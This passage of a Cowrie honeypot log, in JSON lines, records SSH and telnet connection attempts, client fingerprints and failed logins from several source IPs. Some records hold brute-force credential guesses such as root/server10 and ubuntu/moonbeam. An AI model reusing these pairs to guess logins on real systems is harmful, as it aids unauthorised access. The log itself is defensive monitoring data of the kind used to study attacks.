a2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:37.412951Z","src_ip":"122.51.73.24","session":"ec06634045f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server10","message":"login attempt [root/server10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:38.332801Z","src_ip":"122.51.73.24","session":"ec06634045f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.87005829811096,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:38.599426Z","src_ip":"192.119.13.58","session":"26112476534d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:39.575534Z","src_ip":"122.51.73.24","session":"ec06634045f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.66158413887024,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:40.611953Z","src_ip":"192.119.13.58","session":"1ca6b7d1500f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.73701786994934,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:46.278244Z","src_ip":"192.119.13.58","session":"f331da48d7c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.629608392715454,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:47.840555Z","src_ip":"192.119.13.58","session":"95a5ffe0ddfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52752,"dst_ip":"10.17.0.5","dst_port":23,"session":"89b0fc1057f5","protocol":"telnet","message":"New connection: 192.119.13.58:52752 (10.17.0.5:23) [session: 89b0fc1057f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:48.548679Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38334,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d7c149c219a","protocol":"ssh","message":"New connection: 103.153.68.219:38334 (159.203.135.109:22) [session: 1d7c149c219a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:48.982906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:48.992319Z","src_ip":"103.153.68.219","session":"1d7c149c219a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:49.241883Z","src_ip":"103.153.68.219","session":"1d7c149c219a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57410,"dst_ip":"10.17.0.5","dst_port":23,"session":"b19c41d51346","protocol":"telnet","message":"New connection: 192.119.13.58:57410 (10.17.0.5:23) [session: b19c41d51346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:49.723446Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"192837","message":"login attempt [root/192837] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:49.992968Z","src_ip":"103.153.68.219","session":"1d7c149c219a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:51.244977Z","src_ip":"103.153.68.219","session":"1d7c149c219a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36140,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c796d5e50c6","protocol":"telnet","message":"New connection: 192.119.13.58:36140 (10.17.0.5:23) [session: 0c796d5e50c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:51.435325Z"}
{"eventid":"cowrie.session.closed","duration":37.36891746520996,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:56.673568Z","src_ip":"192.119.13.58","session":"4bb04e234802","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.17503905296326,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:57.047656Z","src_ip":"192.119.13.58","session":"eb29f9f3e346","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34864,"dst_ip":"10.17.0.5","dst_port":23,"session":"c69941378363","protocol":"telnet","message":"New connection: 192.119.13.58:34864 (10.17.0.5:23) [session: c69941378363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:58.809017Z"}
{"eventid":"cowrie.session.closed","duration":35.61023783683777,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:00.152715Z","src_ip":"192.119.13.58","session":"7ba25d1242ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.64945387840271,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:02.643630Z","src_ip":"192.119.13.58","session":"6ac5a340613b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.92100763320923,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:07.059665Z","src_ip":"192.119.13.58","session":"5b9f0b74be52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.47677493095398,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:10.102202Z","src_ip":"192.119.13.58","session":"122f09859146","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":34188,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7731b955f55","protocol":"ssh","message":"New connection: 193.228.128.84:34188 (10.17.0.5:22) [session: a7731b955f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:10.296777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:10.303655Z","src_ip":"193.228.128.84","session":"a7731b955f55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:10.417727Z","src_ip":"193.228.128.84","session":"a7731b955f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y7u8i9o","message":"login attempt [root/1q2w3e4r5t6y7u8i9o] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:10.728709Z","src_ip":"193.228.128.84","session":"a7731b955f55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.02009177207947,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:10.792838Z","src_ip":"192.119.13.58","session":"41953a032501","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:11.834741Z","src_ip":"193.228.128.84","session":"a7731b955f55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37176,"dst_ip":"10.17.0.5","dst_port":23,"session":"6292d3e00956","protocol":"telnet","message":"New connection: 192.119.13.58:37176 (10.17.0.5:23) [session: 6292d3e00956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:11.980111Z"}
{"eventid":"cowrie.session.closed","duration":54.47797632217407,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:13.777026Z","src_ip":"192.119.13.58","session":"c36eb988d779","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":55538,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a2d7b031290","protocol":"ssh","message":"New connection: 77.94.47.83:55538 (10.17.0.5:22) [session: 0a2d7b031290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:16.380085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:16.385853Z","src_ip":"77.94.47.83","session":"0a2d7b031290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:16.512726Z","src_ip":"77.94.47.83","session":"0a2d7b031290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.63625454902649,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:16.852340Z","src_ip":"192.119.13.58","session":"1aea0073240d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"19791979","message":"login attempt [root/19791979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:16.925164Z","src_ip":"77.94.47.83","session":"0a2d7b031290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:18.060470Z","src_ip":"77.94.47.83","session":"0a2d7b031290","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":55914,"dst_ip":"10.17.0.5","dst_port":22,"session":"d90aaaa93742","protocol":"ssh","message":"New connection: 175.118.127.138:55914 (10.17.0.5:22) [session: d90aaaa93742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:21.258720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:21.263423Z","src_ip":"175.118.127.138","session":"d90aaaa93742","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:21.443209Z","src_ip":"175.118.127.138","session":"d90aaaa93742","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monika","password":"monika","message":"login attempt [monika/monika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:22.195276Z","src_ip":"175.118.127.138","session":"d90aaaa93742","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:23.382630Z","src_ip":"175.118.127.138","session":"d90aaaa93742","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34626,"dst_ip":"10.17.0.5","dst_port":23,"session":"d040fdc0738d","protocol":"telnet","message":"New connection: 192.119.13.58:34626 (10.17.0.5:23) [session: d040fdc0738d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:25.075020Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":46648,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff75012196ea","protocol":"ssh","message":"New connection: 193.32.162.145:46648 (10.17.0.5:22) [session: ff75012196ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:26.173918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:26.179407Z","src_ip":"193.32.162.145","session":"ff75012196ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:26.304536Z","src_ip":"193.32.162.145","session":"ff75012196ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"moonbeam","message":"login attempt [ubuntu/moonbeam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:26.613294Z","src_ip":"193.32.162.145","session":"ff75012196ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:27.719112Z","src_ip":"193.32.162.145","session":"ff75012196ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48104,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b5e62161eb2","protocol":"telnet","message":"New connection: 192.119.13.58:48104 (10.17.0.5:23) [session: 8b5e62161eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:28.251725Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49204,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f3e59e0754d","protocol":"telnet","message":"New connection: 192.119.13.58:49204 (10.17.0.5:23) [session: 8f3e59e0754d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:28.482982Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":53862,"dst_ip":"10.17.0.5","dst_port":22,"session":"df7759482e36","protocol":"ssh","message":"New connection: 109.237.96.109:53862 (10.17.0.5:22) [session: df7759482e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:28.491836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:28.496699Z","src_ip":"109.237.96.109","session":"df7759482e36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:28.588024Z","src_ip":"109.237.96.109","session":"df7759482e36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzxc1","message":"login attempt [root/qweasdzxc1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:29.172382Z","src_ip":"109.237.96.109","session":"df7759482e36","protocol":"ssh"}
